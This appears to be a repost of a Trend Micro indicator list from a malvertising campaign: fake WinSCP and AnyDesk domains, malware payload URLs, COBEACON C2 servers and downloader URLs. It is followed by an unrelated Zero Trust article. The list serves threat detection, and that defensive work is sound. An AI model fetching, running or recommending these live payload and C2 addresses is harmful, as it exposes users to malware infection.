https://winsccp.com/WLPuVHrN = 79. Disease Vector
https://anydeesk.net = 79. Disease Vector

Payload Download
https://events.drdivyaclinic.com/wp-content/task/update/WinSCP-5.21.8-Setup.iso = 79. Disease Vector
https://www.4shared.com/web/directDownload/wd0Bbaw6jq/gx1qdBDA.ab8ba6f7d1af2d0a5d81cf42aefe8e51 = 79. Disease Vector
https://www.yb-lawyers.com/wp-content/ter/anyconnect/AnyDesk.iso = 79. Disease Vector
https://mm.onemakan.ml//wp/wp-content/winscp/smart/WinSCP-5.21.8-Setup.iso = 79. Disease Vector

IPs AnyDesk.iso:
104.234.11.236 = 78. Malware Accomplice
157.254.195.108 = 78. Malware Accomplice

IPs WinSCP-5.21.8-Setup.iso:
157.254.195.83 = 78. Malware Accomplice

COBEACON C2: 
167.88.164.141 = 91. C&C Server
https://167.88.164.40/python/pp2 = 91. C&C Server
https://172.86.123.127:8443/work2z = 91. C&C Server
https://172.86.123.127:8443/work2
https://172.86.123.226:8443/work3z = 91. C&C Server
https://172.86.123.226:8443/work3
https://193.42.32.58:8443/work2z = 91. C&C Server
https://193.42.32.58/python/pp
https://193.42.32.58:8443/zakrep
https://104.234.147.134/python/pp3.py = 91. C&C Server
http://45.12.253.50:447/work2
https://45.66.230.240/python/pp3.py = 91. C&C Server
https://45.66.230.240:8443/work1
http://45.66.230.240/python/pp
https://firstclassbale.com/python/pp3.py = 91. C&C Server

Other COBEACON C2 Using the Same Watermark (587247372)
104.234.11.226 = 91. C&C Server
104.234.11.236
141.98.6.56 = 91. C&C Server
166.0.95.43 = 91. C&C Server
167.88.164.91 = 91. C&C Server
193.42.32.143 = 91. C&C Server
45.12.253.51 = 91. C&C Server
45.12.253.50
45.66.230.215 = 91. C&C Server
45.81.39.175 = 91. C&C Server
45.81.39.176 = 91. C&C Server
84.54.50.116 = 91. C&C Server
85.217.144.233
aleagroupdevelopment.com = 91. C&C Server
azurecloudup.online = 91. C&C Server
cloudupdateservice.online = 91. C&C Server
devnetapp.com = 91. C&C Server
situotech.com = 91. C&C Server

URLs accessed by Trojan.BAT.COBEACON.AO.dldr
http://104.234.147.134/python/python.zip
https://167.88.164.40/python/python.zip = 79. Disease Vector
http://172.86.123.226/python/python.zip = 79. Disease Vector
https://45.66.230.240/python/python.zip
https://closeyoueyes.com/python/python.zip
https://firstclassbale.com/python/python.zip
https://167.88.164.40/python/unzip.bat = 79. Disease Vector
http://172.86.123.226/python/unzip.bat = 79. Disease Vector
http://104.234.147.134/python/unzip.bat
https://45.66.230.240/python/unzip.bat
https://closeyoueyes.com/python/unzip.bat
https://firstclassbale.com/python/unzip.bat
https://167.88.164.40/python/pp3.py = 79. Disease Vector
http://172.86.123.226/python/pp3.py = 79. Disease Vector
ccloseyoueyes.com/python/pp3.py
http:////bigallpack.com/union/desktop



Source :
https://www.trendmicro.com/it_it/research/23/f/malvertising-used-as-entry-vector-for-blackcat-actors-also-lever.html

How Zero Trust Can Help Your Organization: Strengthening Security and Supply Chain Assurance

By: Trend Micro
June 27, 2023
Read time: 4 min (1183 words)

Organizations face increasingly sophisticated cyber threats and vulnerabilities in today’s rapidly evolving digital landscape. Traditional security models can no longer protect sensitive data and mitigate risks. This is where Zero Trust comes into play, offering a comprehensive approach to security that can help organizations tackle emerging challenges.

In this article, we will explore how Zero Trust can benefit your organization, focusing on its ability to enhance security, secure supply chains, and align with international regulatory frameworks.

How Zero Trust Helps Your Organization

Zero Trust is designed to seek and eliminate shadow IT and inefficiencies within an organization. This approach can help reduce both operational and capital costs, effectively minimizing enterprise risks. Zero Trust also improves data hygiene by identifying systems with higher-than-average data risks, ensuring a more secure data environment.

Implementing Zero Trust also allows organizations to reduce the risk of brand-impacting security incidents and customer-facing outages. Zero Trust ensures uninterrupted business operations. Moreover, it provides fine-grained control over roaming and data sovereignty, granting organizations greater flexibility and security.

Moreover, Zero Trust enables multiple business functions to utilize a single access method. This consolidation improves security measures while reducing customers’ effort to complete transactions, ultimately enhancing the overall customer experience.

Zero Trust can be leveraged in numerous use cases, addressing different organizational security and risk management needs. Its versatility and adaptability make it a practical approach to securing digital environments effectively.

Secure Supply Chain Assurance: Importance and Zero Trust Applications

Zero Trust is crucial in securing the supply chain, as it helps identify revenue-impacting vulnerability chains within an enterprise. These chains can include business processes, security processes, and supply chains, collectively referred to as the attack surface.

Organizations can proactively identify and break potential kill chains within the supply chain by utilizing Zero Trust principles. Attack Surface Mapping and Cyber Asset Attack Surface Mapping (CAASM) enable the scanning and mitigating of current, potential, and near-miss supply chain attacks, reducing the risk of cascading failures.

Attack Surface Mapping involves identifying and mapping all the possible entry points, weaknesses, and exposure areas in an organization’s network, systems, and applications. It provides a comprehensive view of the organization’s attack surface, including external-facing systems and internal assets and connections.

Cyber Asset Attack Surface Mapping (CAASM) focuses explicitly on the assets within an organization’s supply chain. It examines the digital assets and dependencies in the supply chain ecosystem, including third-party vendors, partners, and interconnected systems. By analyzing the attack surface of the supply chain, organizations can identify potential weaknesses and vulnerabilities that attackers could exploit.

These mapping techniques enable organizations to proactively scan and assess their current security posture, identify potential risks, and prioritize mitigation efforts. Organizations can take appropriate measures to strengthen their defenses, patch vulnerabilities, and implement security controls by understanding the attack surface and potential attack vectors.

Zero Trust Frameworks: DISA NSA vs. NIST

Zero Trust frameworks can vary based on organizational needs and security requirements. The DISA NSA Zero Trust Reference Architecture is suitable for large critical infrastructure entities, while the NIST approach caters to entities in the early stages of their security maturity journey.

The DISA NSA framework provides a comprehensive and adaptable blueprint, focusing on Device Trust, User Trust, Data Trust, and Network Trust. Organizations can establish trust across various infrastructure components by implementing rigorous authentication, authorization, and continuous monitoring. This approach enhances risk management accuracy and reduces infrastructure costs, making it suitable for large critical infrastructure entities.

On the other hand, the NIST approach follows a risk-based strategy, emphasizing continuous monitoring, granular access controls, and dynamic policy enforcement. It promotes a “never trust, always verify” mindset, advocating for robust authentication mechanisms, network segmentation, and encryption. This framework offers flexibility and scalability, making it well-suited for organizations at various stages of their security maturity journey.

To leverage the strengths of both frameworks, organizations can incorporate complementary design elements tailored to their specific needs. Organizations can establish a robust Zero Trust architecture that addresses their unique security requirements by combining the DISA NSA and NIST approaches.

Ultimately, implementing Zero Trust principles provides organizations with a proactive and holistic security approach, reducing the risk of breaches, protecting sensitive data, and ensuring the resilience of their infrastructure. By embracing these frameworks, organizations can strengthen their security posture and effectively combat the ever-evolving cyber threats of today’s digital landscape.

Zero Trust and International Regulatory Frameworks

Zero Trust is a security framework that has gained significant attention and adoption in recent years. It aligns with various international regulatory frameworks, ensuring organizations meet stringent data protection, privacy, and security requirements.

General Data Protection Regulation (GDPR)

Zero Trust principles align closely with the core principles of GDPR, which emphasize the protection of personal data, privacy, and accountability. By implementing Zero Trust measures, organizations establish robust security controls, mitigate the risk of data breaches, and protect personal data. Through solid authentication, access controls, data segmentation, and encryption, Zero Trust helps organizations meet GDPR requirements, ensuring compliance with data protection regulations.

California Consumer Privacy Act (CCPA)

The CCPA highlights the importance of safeguarding consumers’ personal information. Zero Trust principles provide valuable contributions to adequate data protection and privacy practices. With strong authentication mechanisms, data segmentation, and encryption, organizations can enhance their data security measures and meet CCPA obligations. Zero Trust’s emphasis on continuous monitoring and granular access controls ensures that organizations maintain control over the processing and sharing of personal information, thus meeting CCPA compliance requirements.

Payment Card Industry Data Security Standard (PCI DSS)

PCI DSS establishes rigorous security measures to protect cardholder data. Zero Trust provides a solid foundation for meeting PCI DSS requirements by focusing on secure access controls, continuous monitoring, and encryption. Zero Trust’s “never trust, always verify” principle aligns with the need for stringent authentication mechanisms and restricted access to cardholder data. Organizations can establish a robust security posture by implementing Zero Trust and maintaining compliance with the PCI DSS standards.

Zero Trust principles offer organizations a powerful approach to achieving compliance with international regulatory frameworks. By aligning with the General Data Protection Regulation (GDPR), California Consumer Privacy Act (CCPA), and Payment Card Industry Data Security Standard (PCI DSS), Zero Trust enhances data protection, privacy, and security practices.
Conclusion

In an era of increasing cyber threats and supply chain vulnerabilities, adopting a Zero Trust approach is essential for organizations aiming to strengthen their security measures and ensure the integrity of their supply chains. By implementing Zero Trust principles, organizations can enhance security, streamline business functions, and align with international regulatory frameworks.

The versatility of Zero Trust frameworks, such as DISA NSA and NIST, allows organizations to tailor their security strategies to their specific needs. Embracing Zero Trust is a proactive step towards safeguarding sensitive data and critical operations and a crucial component of building trust with customers and partners in an ever-evolving digital landscape.

Download our comprehensive report on Zero Trust frameworks and their implementation strategies today. Gain valuable insights, practical guidance, and actionable steps to strengthen security measures. Click here to download the report and stay one step ahead in the ever-evolving digital landscape.

Source :
https://www.trendmicro.com/it_it/research/23/f/prevent-supply-chain-attacks.html